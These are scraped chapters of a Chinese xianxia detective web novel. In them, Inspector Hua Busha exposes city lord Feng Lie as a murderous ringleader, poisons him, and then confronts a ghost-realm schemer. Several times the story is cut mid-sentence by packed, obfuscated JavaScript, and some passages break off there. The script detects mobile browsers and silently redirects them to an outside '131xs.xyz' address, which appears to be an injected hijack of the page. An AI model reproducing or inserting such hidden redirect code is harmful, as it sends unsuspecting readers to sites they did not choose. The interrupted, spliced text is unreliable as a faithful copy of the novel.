“是啊大人,医官不会误诊的,白天替他把脉的医官可愁坏了,费了半天劲才让他缓过来,怎么看也不能是装的吧?而且他一病就是三年,他总不能三年前就为今天做准备了吧?” 巡衙令也觉得这个猜测太离谱了,他吐血那是多少双眼睛看见了的,哪里能作假? 花不杀伸出手,看着风烈说:“真与假我验了便知,脉象不会骗人,你可敢?” “大人要验便验。”风烈不再躲着,大大方方把手搭在她掌中。 花不杀指尖按在他的手腕处,感受脉搏的跳动。验脉象的同时她看着他的眼睛,这一次他眼眸平静,毫无波动。 验脉的结果让她有些意外,花不杀收回手,迟疑地看了他一会儿。风烈只是向她笑着,脸上看不出别的心思。 花不杀道:“你果然做了万全的准备,毫无破绽。” 风烈缓缓收回手,放在被子上,不以为意道:“我知道大人寻贼心切,可大人平白怀疑我,是不是太冤枉了?先前你就想握我的手试探,如今证明我的清白,大人可信了? 说起来今夜大人不是应该在玉山捉凶手么?怎么突然跑我屋里闹这一出来了?凶手抓到了么?” “你倒替我操心,你明知道今夜上山的是谁,凶手不是你想让我看见的么?” “大人说笑了,我与他何干?您说话要讲证据,随口一说我可不认。” 花不杀逼近他面前,眼神冷了下来:“你要证据,我有,你想听么?” 风烈点头一笑:“当然。” 花不杀道:“今天谈话提及青牙山溶洞、天仙楼、季端阳和暗人少年,谈话结束不久季端阳和暗人少年便惨遭杀害,二人正是死于夜场主的绝命蛊下。他们被杀的时间正好是在谈话结束之后的一个时辰内,夜场主如何能够及时得知消息,知道我的下一步计划?唯一的可能就是他坐在席间,听完了全程,知道自己暴露了太多证人,着手一一解决。所以夜场主只能是你们三位中的一位。” “他杀了季端阳和少年之后,又以行尸蛊操控傀儡放火烧了青牙山,一场山火摧毁了夜市街和藏尸洞,再无可查证。被他操控之人正是云默,如此他洗脱嫌疑,夜场主便在你和赵青之中。 今夜观音庙中十几个女子遇害,她们正是天仙楼出逃的姑娘。巡衙令赶到之时,现场只有赵青一人,按理说他的嫌疑最大,可我查验过尸体,姑娘们死于剑破喉咙。他如果是夜场主,大可引爆她们体内的绝命蛊虫,千里之外杀人于无形,何必自投罗网,岂不矛盾?别忘了,这个消息是你告诉我们的,很难不让人怀疑你是在栽赃嫁祸。” 风烈听她说完,突然笑了起来:“这只是你的猜想,你没有实质的证据。这件事为什么不能是赵青故意设计来污蔑我的?他以剑杀人,不就营造出他不知道有绝命蛊的假象了么?他多此一举,不就成功把矛头转到我身上了么?你瞧,你现在就怀疑我了。” “你很会祸水东引。” 风烈比她预想得聪明,说话毫无破绽。花不杀心知只有亮出关键证据,说得他心服口服、辩无可辩,他才会认。 她放缓语气,心平气和一笑:“这的确是我的猜想,你可以不认。但有件事你似乎忘了?云默中的行尸蛊是下在那盘糕点里的。行尸蛊虫活不过两日,他这两日忙得晕头转向,唯一一次进食就是吃了糕点。他赶到巡衙司的时候,大堂上只有你,下蛊者不是你又是谁?” 风烈摇摇头,笑得更顽劣:“大人可想过,夜场主杀人都易如反掌,种个行尸蛊又有何难?谁知道是不是制作糕点的哪个环节出了问题呢?谁知道夜场主的手是不是伸到巡衙司里了呢?大人,你还是没有实质的证据,证明蛊是我下的。” “你很狡猾。” 花不杀眉头微蹙,风烈惯会钻她的漏洞,诡辩之道她不如他。那么只有亮出最后的证据,这次他不认也得认。 巡衙令在一旁听得糊涂,他们你一言我一语地交锋,他觉得谁说的都有理,他完全分辨不出该听谁的。他烦躁地挠着头,头皮都要挠秃了。 这时候门外闪来一道身影,一人手里提着一个黑衣人匆匆闯了进来。 赵青将那人丢在床边,厉声道:“大人的话你不服,那他呢?” 风烈瞧见黑衣人的脸,玩味的笑容顿时收敛了。他缓了一瞬,重新扯开笑脸,道:“赵青城主这是何意?” 赵青向花不杀行一礼,道:“大人,此人正是风家的死士‘寒刀’。我回城途中他现身拦我,与我交战,一路引我至玉山观音庙。他当着我的面杀了姑娘,溅我一身血,而后又消失在观音庙中。 我察觉事有诡异,立刻检查姑娘们的伤口,恰好此时衙令大人带人前来,指认我为夜场主,我便意识到自己中计了。我连夜知会我的好友,与我一起抓捕黑衣人,最后在风烈府上将他擒住。他是风家有名的死士寒刀,这场算计是风烈指使的!” 寒刀被封了经脉,趴在地上。花不杀走到他面前,抬起他的头来,警告道:“想活命就告诉我你知道的一切,我只给你一次机会。若是被我逼问出来,你会生不如死。” 寒刀冷笑着白了她一眼,他的嘴角有血迹流出来。花不杀眼疾手快一拳头将他打晕过去,阻止他咬舌。 “机会给你了,你不用,那就让你的尸体告诉我。” 花不杀手掌泛出紫光,一掌拍在他的脑门上。他的魂魄被这股力量冲出体外,顷刻间粉碎,只留下个空空的皮囊一字一句地回话:“收到……一号令……杀……杀……杀……杀……杀……” 身后传来风烈的笑声:“大人不用白费力气了,死士什么都不知道,就算抓到他,你也证明不了我与案子的关系。我说了我不是凶手,大人何必强求,逼我为贼呢?” “你还不承认!”赵青气不过,举起剑就要劈下去。 花不杀将他拦下,坐回床头,看着风烈道:“你莫高兴太早,最重要的东西我还没拿出来,只需一试便知,你认不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626595|172395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认都不重要。” 风烈瞧她胸有成竹,微微蹙眉。他想不到还有什么可以举证他的东西。 花不杀从袖中取出血丹,递到他手中。风烈看着丹药,迟疑了一瞬,“你这是何意?” 花不杀道:“这是我从小鬼手中得到的丹药,夜场主卖尸敛财,都是为了购买此物苟存性命。这枚丹药被我下了剧毒,但凡曾经服用过血丹的身体,接触此物必会毒发。我也不必质疑你,你也不必辩解,吞下它,一切自有分晓,你敢么?” 风烈捧起血丹,放在眼前看了看,它的外观并无什么异样,但他的鼻子闻到一股苦气,丹药中确实掺杂了其他东西。 风烈脸上再无笑意,冷眼看着花不杀:“我为何要听你的话?谁知你说的是真是假?你既说了它是毒物,服下岂有不死的道理?到时我不是夜场主也成了夜场主,不正好中了你的计么?” “你怕了?”花不杀凑近他的脸,微眯起眼皮,目光骤冷:“那可由不得你了!” 她的手闪电之势推了出去,一股力量隔空撬开他的嘴唇,血丹径直送入口中,落入腹内。 “花不杀!你!” 风烈脸色突变,一瞬间剧痛骤起,腹内如刀绞。他使尽力气也逼不出血丹,只感觉到自己体内的气息乱作一团,灵力崩溃,最后喷出一大口血。 “毒发了,夜场主。”花不杀起身站在床前,静静看着。 “你骗我!这不可能!” 风烈强制调整气息,然而根本无力压制身体的痛苦。他的力量正迅速瓦解,身体不可逆转地虚弱下去。毒性乘隙而入,深入五脏六腑间,只是一瞬,却已无转圜余地。他一连吐了好几口血,心肝都要呕出来。 “不可能,我不可能毒发!” 风烈终于开始害怕,他睁大眼睛质问花不杀:“我已伐经洗髓,不再是下仙之躯,世间的药物不可能伤我分毫,我怎么可能毒发?一定是你迷惑了我,你害我!” 花不杀道:“事到如今,你还不知道自己买的是什么药么?世上岂有让人脱胎换骨、延寿改命的药?一切不过是骗局。血丹让你短暂拥有灵力、身体轻灵,看似对你的病有奇效,却不知那只是再平常不过的鬼血提炼的,你高价买了一堆废物。 现在你已经被它们掏空了身体。你以为你的精神是哪来的?那是以你的元寿为代价借来的,你的命更短了!” 风烈脑中嗡嗡作响,她的话像晴天霹雳,震得他脑中一阵轰鸣。他捂着剧痛的头,瞪着双眼,不敢接受这样的结果。 花不杀道:“其实你也发现身体日渐亏空,撑不了多久,所以急着找个替死鬼了结这件案子。你知道只要我还在巡衙司,这件案子就算翻了天也要有个结果。你唯有祸水东引,找个替死鬼结案,才能尽快买药苟生。 你很聪明,若不是万不得已不会走这一步险棋。可惜一步差错,漏洞百出,太早暴露了自己,最后落得个毒发身亡的结局。” 花不杀甚惋惜:“我给过你机会,你不认,那就别怪我心狠,不让你见明天的太阳。” 10. 局中局 “你杀不了我,我不会死!我不会死!” 风烈退到床角里,惊恐得全身发抖。身体的痛苦疼得他抓心挠肝,胸口的衣裳都撕碎了。他吐了很多血,脸上、胸口布满胡乱抓扯的血迹。 他感觉到自己的经脉寸寸断裂,灵力如决堤之水一泻万顷,只需片刻,他所有力量都会消失。他心知肚明,自己撑不过一个时辰。 “那不可能是假药,明明我的病好转了,明明服用后有奇效,它让我的身体拥有前所未有的力量,让我能够自由行动,怎么可能是假的?” 风烈强行运转体内的力量,想压制痛苦,却发现自己的灵力早已涣散,再凝聚不起来。他越努力越适得其反,只加速毒发的过程。他的口中不断有血呕出来,浑身气力像被人抽走一样,连眨眼都变得费力。 他再不肯信,如今也不得不信,他被小鬼摆了一道。原来他的身体从来没有恢复过,他为了活下去做的努力原来都毫无意义。 他瘫坐在床角,身体像被抽空了,不再挣扎。他的双眼忽而间朦胧,脸颊上流下两道泪痕,不知是悔是恨。 “风烈,枉我费心费力护你周全,没想到你一直在骗我!” 得知真相的巡衙令气得脸都要歪了,他冲到床前,扯起被子甩在他脸上。他怒道:“你这个人面兽心的家伙,骗得我好苦,早知道你就是夜场主,说什么我也不会让你活到现在!你身为一方城主,不庇护子民,反而用他们的命为你的阴谋做垫,嗜杀成性,不配为官!你个猪狗不如的畜生,活该你不得好死!” 巡衙令气不过,揪着他的领子给了他两拳。 风烈吐掉嘴里的血,喘着粗气靠在墙上。他眼中泛出血丝,双眼强撑出一股狠意,怒视着他们:“你们凭什么羞辱我?我做错了什么,为了活着是错么?你们又不是天天从鬼门关醒过来的人,哪里知道死是多可怕的事!我只不过是想得到我应得的东西,哪里就天理不容了?哪轮得到你们这样指责我!” 花不杀冷笑道:“上天允你的是你的,不允你的就不是你的,你既然注定短命,哪有资格踩着他人的尸体苟延残喘?今日种种是你咎由自取,你过分贪求只会适得其反,你的命就是贪婪的代价。” “我才活了三百岁,千岁大限的一半都不到,凭什么要我死?!” 风烈双手死死攥着,目光更加凶狠。他因气急加快了毒性的侵蚀,他的七窍纷纷流出血迹,面容也愈变狰狞。 他指着他们道:“你们这些生在仙界的仙,哪里懂得一个下品仙的痛苦!我们这些下品仙拼了命才从人界飞升仙界,数十年修仙问道,求的只是个简简单单的长生,哪怕只有一千岁。可这一千岁我都不配! 你们生在仙界,出生就是高贵的原仙,老天都向着你们,给你们最好的天赋,给你们万年的寿命。我们这些人在人界再风光,在你们面前都平庸至极,永远要被踩在脚下,就连生死都由不得自己做主。区区千年元寿,谁稀罕? 我不止要活,还要活得比你们更长久,哪怕身后的尸体堆成山也在所不惜!这是上天欠我的!” 风烈情绪激动,怒火攻心,进一步恶化病情。此时他的血肉筋骨开始销蚀,身体愈发瘫软,不用多久他就会变成一个人皮血包,化成一滩血水。 花不杀见他执迷不悟,目光冷了下来:“你要公平,可为了你的一己私欲杀了他们,对他们就公平么?谁生来就活该做你的垫脚石?谁不是努力活在这个世上?在你看不见的深渊里,有比你更不堪的生命,他们难道都要疯魔,像你一样将恶念对着世界发泄? 人生来就是命运中的一轮,本该是怎样就是怎样,皆是定数。若人人都想撼动天,这个世界没有了秩序,就是地狱!” “你要我顺应天命?你要我信天?”风烈突然笑出了声,“我敬奉上天时,天不佑我,那苍天于我有何用?” 他眼眶中积聚着水光,眼泪和血水一起流出来。 “你们都不知道,我这病是从娘胎里带出来的。为人时我以为成仙就可以改变命运,我疯了一般修炼,每天都从刀山血海里蹚过来。当我踏足仙界,却发现并不是这样,人改变不了既定的命运,我开始敬奉神佛,乞求长生。 我在玉山建了一座观音庙,每日进香礼佛,诚心侍奉了一百年,可我得到了什么?我的病更重了!我一气之下砍了观音脑袋,去他的神佛!那时候我就知道能救自己的只有自己!” 越接近死亡,人心中的恐惧就越强烈。这三年里他试了无数种办法,都改变不了结果,最后大限将至时,他还是心存侥幸地诚心侍奉起那座无头佛像,不敢懈怠,只盼有一丝转机。 命运对他不公,上天从未对他垂怜。他对神佛最后的那丝敬意,现在也随着死亡到来彻底无了。信天、信命,从来就是自我安慰的骗局。 风烈抹去脸上的血痕,仰起头,强撑着最后的体面。他可恨地嘲笑着:“你们这些高高在上的原仙理解不了我的苦,不配指责我。人各有道,谁敢说哪条道是对的,哪条是错的?这一辈子我问心无愧,收起你们可笑的嘴脸,我看厌了……” 七窍血流如注,风烈最后支撑身体的力气都散了。他倒在床上,皮肤破开一个个缺口,骨肉化成血水从缺口处流出来,湿透了满床。 在怒火的刺激下,毒发的过程比预想的要快得多。风烈气息微弱,神智混沌,很快说不了话。 弥留之际,他看着花不杀阴测测地笑着。这笑容很诡异,其中的深意让花不杀皱起眉头,直觉让她觉得他还有话没说完。 正当她想上前一探究竟,风烈残余的身体突然“嘭”地一声爆破。血液横飞,溅了所有人满身。 巡衙令和赵青“呸呸”吐着溅到嘴里的血,花不杀却是愣在原地。 她发现床上的血泊里落着几片白虫的碎块,与她之前见过的绝命蛊虫一致。一个不可思议的念头冒了出来:“绝命子蛊。风烈背后还有操盘的凶手!” “大人说什么?”巡衙令顾不上抹脸,被她的话吓得目瞪口呆,这时也注意到床上的碎虫,“大人的意思是这件案子还没完?还有凶手?我的天爷啊,这鬼案子什么时候是头啊?!” 巡衙令愁得抓耳挠腮,哭丧着个脸。 赵青也绷紧了脸:“大人可是猜到了什么?” 花不杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵青满意地点点头,立刻倒出丹药吃下。一瞬间他身体周围泛出金色灵光,腹内生出一股浩浩灵力,如浪潮般涌入他的四肢百骸。这股力量帮他冲破停滞许久的关隘,让他的灵脉快速复苏、壮大起来。 只不过眨眼的功夫,赵青已脱胎换骨,实力向上飞越了好几个境界。 他迫不及待运转灵力,试试身体的力量,发现力量随心意而动,如有神助。只要他凝神,灵力便似不竭的泉水奔涌而来,力量之澎湃令他惊讶。 现在即便是花不杀也难将他打败。仙界以实力定官职,他飞黄腾达指日可待。 赵青拱手谢过他的丹药,从袖兜里取出一颗银色的光球,“风烈的魂魄我带来了,你想怎么处置?他为了重生,把这场戏演完了,你答应过他帮他重入轮回,下一世生为原仙,可会食言?” 黑衣人接过光球,攥在手中瞧了一眼,忽的五指用力一紧,风烈的魂魄碎成片片灵光,萤火一般一闪而逝。 “你……” “和死人的约定没必要遵守,同理,失去利用价值的废物也没必要留下。只有死人会守着秘密。” 黑衣人食指抵在唇上,做了个噤声的手势,轻轻“嘘”一声。声落之时面前一片血雾腾起,笼了满屋。 黑衣人摘下帽兜,瞧了一眼满地的血渍。血腥的气味让他觉得舒畅极了,他白得离奇的脸上泛起一抹笑容。 “有趣,又一个蠢货。” 11. 白面鬼 “事情都办好了?” 忘川河畔,一道颀长身影背身站在河岸,低沉的嗓音问着。他一席火红的长袍随风拂动,绽若妖莲。 “自然。” 他身后的黑衣人摘下帽兜,露出一张白到瘆人的面皮。他笑着走到红衣人身旁,拱手一礼道:“大人交托的事属下已经办妥,属下略施小计,叫他们那几个糊涂官迷得晕头转向,花不杀怕是要再耽误些功夫。” 白面鬼凑到面前,嘴角一咧,劣笑问:“不知大人的事如何了?可需要属下相助?我听闻大人把身体寄放在一处洞窟了,为恐贼人偷去,可需要我亲自看护?” 红衣鬼侧目瞥了他一眼,戴着银白面具的脸上不露神情,但他那双冰冷彻骨的红瞳杀气凛然,只一眼就让白面鬼低下头,收敛了笑意。 “办好自己的事,手别伸太长。” “是是是。”白面鬼被他冷冷的语气冰得一激灵,立即躬身赔礼,“属下自然相信大人的安排,只不过是这边的事已毕,我闲着也是闲着,不如为大人分分忧。我听说大人将看护身体的要务交给青黎那个傻小子了,他一个乳臭未干的毛小子,哪晓得轻重?我办事最是妥帖,大人合该交给我……” 红衣鬼扫他一眼,后头的话他没敢再说下去。 红衣鬼看穿他的心思,微阖着眼,突然用指尖挑起他的下颌,眼神更冷几分。 “话不二说,好自为之。我本不想搭理你,是你在主君面前哭着求着要跟我出来,我只容你至此,你要敢动歪心思,手爪子乱伸,那就不用回去了。” 白面鬼吓得嘴唇发颤,连咽了两口唾沫:“属下知错,将军息怒。属下哪敢有别的心思,我定老实待在这里,等将军的好消息!” 红衣鬼松开他,望向河的对岸,“人来了,好好应付。” 声落瞬间,红衣鬼形消影散。 白面鬼悻悻然转身,面上的惊恐一扫而去。望见对岸一席浅红衣黑夜闪电般闪来,几步到达他的附近,白面鬼眼中起了杀气,嘴咧到耳根,脸上漾开瘆人微笑。 “久违了,花巡案。” 花不杀移形换影,闪到他面前,但还是慢了一步,让他身旁那道红色流光溜走了。 “你让我找得辛苦,真正的‘夜场主’。”花不杀手中持剑,灵力蓄满剑身,华光流转。 “哈哈哈哈哈!”白面鬼一阵厉笑:“想不到你果真找到这来了,花巡案好灵的心思,竟然能看出端倪,找上门来。你的威名我早有耳闻,今日得见,你果真是美得叫人心动,烈得叫人兴奋!” 白面鬼神色中的轻佻叫花不杀嫌恶,她手中剑一横,周身顿时杀气横飞,震得他衣摆翻若一朵黑莲。 “说说吧,你费心布这样大的一个局,图谋什么?你们鬼界将手伸到仙界的地盘上,不会只是杀几个人这么简单,你们还有什么更大的阴谋等着我?从实招来!” 白面鬼丝毫没有被她的气势镇住,只是一个劲地看着她讪笑:“花巡案声名远扬,号称世上没有你审不出的案子,你那么有本事自己查清楚啊,问我做什么?” 花不杀蓄势待发,“我来一趟不是和你废话的,你应该知道自己实力在我之下,你不肯说,那只好将你打翻,逼你说了。” “哈哈哈哈,我本以为你心思通灵,什么都瞒不住你,却原来你只会喊打喊杀,连藏在身边的帮凶都揪不出来。你仔细想想,若不是里应外合,这案子哪能够做得如此顺利?你不如先从内里查起,再来拿我。你也应该知道,我虽实力不及你,但你也抓不住我的。” “那便试试。” 剑光先行,人影后动。浅红色身影雷霆般直劈额面,耀眼光芒在他脑门一炸。这动静震得河面突起波澜,地摇不止。 白面鬼却是眼睁睁看着剑落在自己脑门,躲也不躲,惧也不惧。他在爆炸的炫光中直立不倒,笑看着花不杀穿过自己的身体,再从后方猛劈而来。 “幻影术!” 花不杀试了两招,此时也明了了,面前的是个鬼影,他的本体并不在此处。击不中本体便伤不了他分毫,再刺几剑也是徒劳。 花不杀冷嗤一声:“没用的!敢作案却不敢面见我,就这胆子不如回家奶孩子。反正我记得你的脸了,下次别让我遇到,否则定是你开瓢之时!” 他既不肯说,花不杀也不和他浪费时间,反正他是暴露了,抓他只是时间问题。再不济向仙君陛下求一张搜查令,掀了他的鬼界老家,还不信找不到他。 白面鬼见她又闪回了对岸,有些不舍,向她喊到:“诶呀,花巡案,这便走了?就算抓不了我,也不坐下来和我唠唠家常,我可是有很多话要和你说啊,你这一走叫我这话和谁说去?” “话多?下次见你本体,正好割了你的嘴。” 她的身影消失在远处,白面鬼望了片刻,脸上笑容敛了去,“就凭你?他我都没放在眼中。走着瞧吧,你们还能嚣张几时?” 他的目光忽而变得深邃,嘴角重新漾开诡笑:“下一颗棋子该动了。” …… 晨曦遍撒山野,为山林染上一层金边。花不杀从传送阵里出来,沿着山道下玉山。 没走几步,不知从何处传来一串“呜呜”的哭泣声,很快那声音蔓延开来,将她包围。 片刻,便见一大片白衣阴尸从山下拥来,远远便闻见它们身上散发出的腐气。它们四肢干硬,一步一顿拖行,脚下画出长长的痕迹。 阴尸们纷纷抬头向她注视,包围圈缓缓缩小,看样子是专门为她而来。 她猜到是有人在操控着他们。虽不知其意,然腐尸味令她作呕,她拂手一道剑光击去,眼前顿时瀑血成雾,刹那间所有尸体碎成齑粉。 “出来吧,让我瞧瞧是哪个不长眼的用这东西吓我。” 说话间,身后一道白光闪来,花不杀转身闪避,却见前方站着一个黑衣人,黑纱蒙面,容貌不辨,手持流光长剑与她对立。 花不杀打量黑衣人,微微皱眉,“想杀我,可知我是谁?报上名来,让我瞧瞧是哪个胆肥的。” 黑衣女子不答,举剑杀来。她一跃而起,长剑在空中划出一道圆满的弧线,再落下时,已到了离她不足两步的距离。花不杀以剑迎击,两把剑的光芒混作一团。 这一交手让花不杀知道此人剑术并不高超,识破此节,她一掌击剑,力量透过剑身将她手臂一震,使其剑锋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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花不杀板着脸,曲起两根手指在她头顶重重敲了一下。看她的脸蛋皱成了苦瓜,她绷不住笑出来:“你个黑心肝的,在这埋伏我,平日里对你的好被狗吃了?你还敢怪我,你蒙着面,眼睛都不露,我哪知道是谁?只当是哪个吃了豹子胆的杂碎,一掌劈了算了。你要再迟喊片刻,真就得叫天镜司来收你的尸!” 花不杀用力摁了一下她的额头,冷山月“嗷”一声躲开,揉揉被她敲疼的脑袋瓜,撒娇道:“我就是跟你闹着玩的,哪知道大人下了死手啊。我已经挨了痛了,大人别生我的气,我下次不闹你就是了,我保证!” “你的保证我不感兴趣,我只想知道你为何出现在这?我离开时不是让你留在天镜司整理卷宗么?你是偷懒跑出来的?” “不是不是。”冷山月收起玩笑的表情,从袖兜里取出一枚凤字令牌交到她手中,“是凤叙大人让我来的。天镜司收到暗报,说是西域与北域交界一带出现了许多凡人死尸,怀疑有人偷偷炼尸,图谋不轨,命我协助大人彻查清楚。凤叙大人让我将这令牌交给你,查案期间由大人代行‘镜司’一职。凭此令牌天下府衙皆可自由走动,大人可自断案情,不必奏报。” 花不杀接过令牌,面露忧虑:“你没听错,是凡人死尸?” “千真万确,是人界的死尸。凤叙大人说这是一起越界杀人的案子,尸源来自人界,他们却是在仙界被杀的。有人越界犯案,恐怕牵连甚广,保不准与大人手上的这件案子也有关联。” “一事未平,一事又起,天下不太平了。”花不杀看着地上的尸屑,想到什么,“你赶的这些就是案发地的人尸?” 冷山月点了点头。 “人尸不够尽兴,你便亲自偷袭?” 冷山月摸摸脑袋,尴尬一笑。 下一瞬一个爆栗敲在她的脑袋上。 “杀了你也活该!” 12. 命契人 花不杀道:“你去过案发地,可见到什么?” 冷山月正经回话:“那些人尸是我在两域边境发现的,那里离最近的平山城只不过十里之地。我途径那里时,见两座大山之间弥漫阴气,便留意,等我爬上山顶去看时,只见下方山谷密密麻麻站着许多凡人尸体,数量之多,得有千具。 当时那群尸体围着一个红衣身影,看他的动作,像是在念咒施法,我猜应该是在炼尸。我觉事有蹊跷,便想下到谷中看看究竟。可等我接近时他已遁迹,我便将尸体封在原地,设下了结界。” “我赶了些尸体到空间法宝里,一路带过来,本是给大人瞧瞧的,正巧看见大人下山,我那该死的玩性便作怪,放出他们和大人过过招。”冷山月面露遗憾,叹口气,“可没想到大人近日灵力精进不少,只一剑便灭了他们,太没意思,我下次弄些厉害的陪你玩玩。” 花不杀抬手要打,冷山月嬉笑着躲开。 花不杀思虑片刻,心有疑惑:“你说此案是越界犯案,可凶手何必大老远去人界掳人?寻常仙民与凡人并无多大差别,力量还更胜一筹,杀他们炼尸不是更佳么? 况且仙界与人界之间有重重结界,没有通界令牌根本出不去,此令牌只有仙君和东南西北四位域君所有,谁会私自赐令?仙律明文规定仙族不可擅自去人界,谁这么大胆,不怕死罪?” 冷山月道:“仙律固然严苛,可也只制约仙族,对妖鬼二界并不通用,谁说在仙界作案,凶手就一定是仙了? 大人可还记得一年前鬼门关大开一事?当时鬼界的鬼阴将军私开鬼门,致使万鬼出逃,乱了三界数月。仙君一纸通缉令下去,鬼阴将军突然就凭空消失了,大人不觉得此事蹊跷么?” 花不杀看着冷山月:“你想说什么?” 冷山月道:“鬼阴将军是鬼君座下四将军之一,实力不在四位域君之下,他若是想在仙界做什么,恐怕易如反掌。 通界令牌不一定是借出去的,也可能是被盗的。至于凶手为何非要凡人而不杀仙民,或许是因为这样不易惹人觉察?如此看来,凶手要么是身份不便示人,要么他做的事非一日就能完成,他需要时间。 仙君命天镜司通缉鬼阴将军,久不归案,要真是他作乱,正好两件事一起办了。” “嗯。”花不杀点了点头,看着她说:“分析有理,这些天的卷宗没白看,若真如你所说,这件案子就有趣了。你来得赶巧,我正需要一个打手,待我回去把这边的事交代了,就出发去平山城。” 冷山月噘着嘴,有些不服气:“瞧大人说的,我天资聪颖,那些卷宗一看就会了,我现在可以当大人的智囊了,你却让我出力气,这不是大材小用么?大人不信我,那就瞧着吧,我定向你证明,打手和智囊我都做得!” “好好好,我们山月最厉害,我期待着。”花不杀不与她犟嘴,往山下走去。她的小孩子脾气让她一点办法都没有,无奈笑了笑。 “这还差不多。”冷山月双手叉腰,跟在后面。 她们回到巡衙司时已是日上三竿,花不杀往厢房走去,估摸着少年应该醒了。 她推门而入,正瞧见魔头少年坐在床头,听见开门声,与她大眼瞪着小眼。 “你醒了。”花不杀冲他一笑。 “他是谁?”冷山月在后面进来,看见一张陌生的面孔。 少年安静坐在床头,穿着一身干净的白衣裳,睁着一双大眼睛,看着乖巧极了。瞧见人来他有些局促不安,两只手抓抓衣袖、挠挠手背,不知往哪儿放。他胆子小,有点羞,被她们看得脸颊红扑扑,像个小粉桃。 冷山月发现少年生得白净,五官秀气,一副乖乖儿郎的样貌,惹人喜爱。 她笑着打趣道:“不是吧大人,你何时有这喜好,在这金屋藏娇了?瞧瞧这娇滴滴的小相公,乖得惹人怜,大人好眼光。” 花不杀瞪她一眼:“胡闹,我何时爱好这些?他是我从牢里带出来的,这次探案他和我们一起去。” 少年许是被她们的声音吓到,神色有些慌张,看见她们朝自己走来,惊吓得扯来床幔遮着脸。他只敢透过床幔偷偷看着,后背靠着床屏,肩膀缩了起来。 “你、你们是谁?你们不要过来……” 冷山月走在花不杀前头,冲少年招招手:“小相公,别羞啊,躲在后面做什么?让我瞧瞧,是多美的人儿,竟把我们铁石心肠的大人迷了去。” 冷山月快步走向床边,少年看她满脸不怀好意的笑容,吓得用床幔把自己裹了起来,眼睛透过半透明的布料警惕看着她。 “你、你不要再过来了,你别笑,我害怕……” 冷山月看他羞得厉害,不忍心再捉弄,停在床前,乐呵呵和他说:“你真是从牢里出来的?怎么身上一点伤痕都没有?瞧瞧你白净的小脸蛋,哪像是吃了牢饭的,你们是不是在玩什么小把戏,不好让我知道啊?好哦,你们都有小秘密,不告诉我。” 花不杀走到床边,轻轻敲了敲她的脑袋,冷山月识趣地让出位置,退到一旁看戏。 “别怕,她是个滑头,别理她说的混账话。”花不杀语气轻柔,微笑着说:“你刚醒来,身上可有哪里疼?肚子可饿了,想吃些什么东西?” 少年摇摇头,不敢和她对视,低着脑袋说:“身上不疼,肚子不饿。我、我想知道你们为什么要抓我?这个手镯是什么,为什么戴着它就感觉不到我的力量了?你们是不是想害我?” 少年对她晃了晃手上的紫金镯,又立马把手缩回了床幔里。他把自己包得像粽子,不露一点肌肤在外面。 花不杀柔声说:“你手上的手镯叫‘云涯紫电’,是我的法器,它可以抑制你体内的魔性,让你保持清醒。你的力量没有消失,还在体内,只是在外面不适合用魔力,容易引起其他人注意,所以我在云涯紫电中设了一个转灵阵,将魔力注入其中,即可化为仙力使用。 我把你救出来,是因为你本来就不属于牢狱,你没有做错事,没人可以关押你,我希望余下的生命里你可以自由自在地活。外面的世界很大,有很多你没有见过的事物,你愿不愿意和我一起看看?” 花不杀向他伸出手,微弯着腰让自己显得亲切些。 少年照她说的方法,尝试注入力量到手镯中,一股魔力被置换成相等的仙力。他试着用这股仙力变幻东西,他想的东西果然出现在手中。 “你没骗我。”少年晃了晃手镯,觉得有些神奇。 他看见花不杀温和的笑容,心中的畏惧也消失了一些,壮着胆子解开床幔,缓缓将手伸向花不杀。他触碰到她温热的掌心,有些心怯,抬起头看她,花不杀向他点点头,用笑容鼓励他大胆一些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626598|172395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>少年终于将手掌放在她的掌心上,她的体温让他觉得很舒服。他慢慢从床上下来,站在她面前。 “你为什么要帮我?”少年仔细看着她的脸,奇怪地觉得有些熟悉,“我是不是在梦里见过你?” “你肯定见过我,不是在梦里。你瞧。” 花不杀挽起袖子,露出半截手臂,在她的手腕上赫然有一圈红环。这圈红环细得像是系在上面的丝线,纹在皮肤上,不细看倒真不显眼。 她揭开他的袖子,他的手腕上也有这样一圈红环。两只手腕离得越近,红环颜色越艳丽。 花不杀看着他的眼睛,恳切说:“这是我们的命契,你和我是上一世签了契的人。上一世我们说好再相遇,所以这一世我来寻你。我虽不记得过往的一切,忘了你是谁,但我知道你是我最信任的人。 你和我是天下唯一命运相连之人,这个世上只有你知道我的来处、我的去处。我希望有一天你可以告诉我这个答案,让我知道自己为什么活着。” 花不杀所说的命契,是嵌在两个人灵魂中的契,彼此以命盟约,结一契环,成为世上唯一有牵绊的人。这种牵绊跨越生死轮回,永世不消。所以立契者必是最刻骨铭心的两个人,千万次轮回也不能放弃的人。 